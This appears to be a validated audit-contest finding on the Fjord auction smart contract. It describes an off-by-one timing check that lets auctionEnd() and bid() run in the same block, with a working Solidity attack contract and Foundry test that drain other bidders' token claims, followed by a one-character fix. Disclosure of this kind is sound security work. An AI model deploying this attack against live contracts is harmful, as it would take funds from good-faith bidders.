Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

AuctionEnd() and Bid() can be called in the same block which can lead to loss funds for bidders

josh4324

Summary

This report details a critical vulnerability discovered FjordAuction::auctionEnd and FjordAuction::bid functions, which could allow an attacker to manipulate the auction process and prevent other bidders from claiming their auction tokens. The issue arises due to improper timing checks in both functions, which create a narrow window of opportunity for exploitation.

bid Function: This function allows users to place bids for auction tokens using points.

auctionEnd Function: This function finalizes the auction, calculating the multiplier that determines the number of auction tokens each bidder can claim based on their points bid.

Vulnerability Details

Timing Checks

  • auctionEnd Function Check: The function includes a condition that checks if block.timestamp is less than auctionEndTime. If true, the function reverts, meaning the auction cannot be finalized before the designated end time.

  • bid Function Check: The function includes a condition that checks if block.timestamp is greater than auctionEndTime. If true, the function reverts, preventing bids from being placed after the auction has ended.

Logic Flaw

The issue arises due to the following sequence of events:

  • At exactly auctionEndTime, both the auctionEnd and bid functions could be invoked in the same block.

  • The auctionEnd function would pass the condition for the revert block.timestamp < auctionEndTime and proceed to calculate the multiplier based on the bids placed up to that point.

  • Immediately after, an attacker could invoke the bid function in the same block. Given the precise timing, this function would also pass its condition for revert block.timestamp > auctionEndTime and allow the attacker to place a bid.

  • The attacker's bid would not be accounted for in the multiplier calculation, but they would still be able to claim auction tokens as if their bid were valid, effectively siphoning the auction tokens away from legitimate bidders.

function bid(uint256 amount) external {
@> if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}

Proof of Concept

  1. User 1 bids

  2. User 2 bids

  3. Attacker calls auctionEnd() and Bid(totalBids) in the same block @ auctionEndTime

  4. User 1 and User 2 lose their points and the auction tokens.

Proof of Code

Attack Contract

contract AuctionAttack {
FjordAuction public auctionAtt;
ERC20BurnableMock public fjordPointsAtt;
ERC20BurnableMock public auctionToken;
​
constructor(address addr, address pointAddr) {
auctionAtt = FjordAuction(addr);
fjordPointsAtt = ERC20BurnableMock(pointAddr);
}
​
// this is called @auctionEndTime, this call be automated with bot or user can monitor the mempool to call at exact time
function attack(uint256 amount) public {
auctionAtt.auctionEnd();
fjordPointsAtt.approve(address(auctionAtt), amount);
auctionAtt.bid(amount);
auctionAtt.claimTokens();
}
}
function testE2E() public {
AuctionAttack attacker = new AuctionAttack(address(auction), address(fjordPoints));
address bidder1 = address(0x1);
address bidder2 = address(0x2);
​
uint256 bidAmount1 = 100 ether;
uint256 bidAmount2 = 100 ether;
uint256 bidAmount3 = 200 ether;
​
deal(address(fjordPoints), bidder1, bidAmount1);
deal(address(fjordPoints), bidder2, bidAmount2);
deal(address(fjordPoints), address(attacker), bidAmount3);
​
vm.startPrank(bidder1);
fjordPoints.approve(address(auction), bidAmount1);
auction.bid(bidAmount1);
vm.stopPrank();
​
vm.startPrank(bidder2);
fjordPoints.approve(address(auction), bidAmount2);
auction.bid(bidAmount2);
vm.stopPrank();
​
skip(biddingTime);
​
// make this call @auctionEndTime, this call be automated with bot or user can monitor the mempool to call at exact time
attacker.attack(200 ether);
​
// User 1 attempt to claim token // this will fail
vm.prank(bidder1);
vm.expectRevert();
auction.claimTokens();
}

Impact

Lock Out Other Bidders: Since the auction multiplier has already been calculated, if the attacker bids the totalBids amount, other legitimate bidders would be unable to claim their tokens, leading to potential financial loss.

Tools Used

Manual Review

Recommendations

Change the check in the bid function from block.timestamp > auctionEndTime to block.timestamp >= auctionEndTime.

function bid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.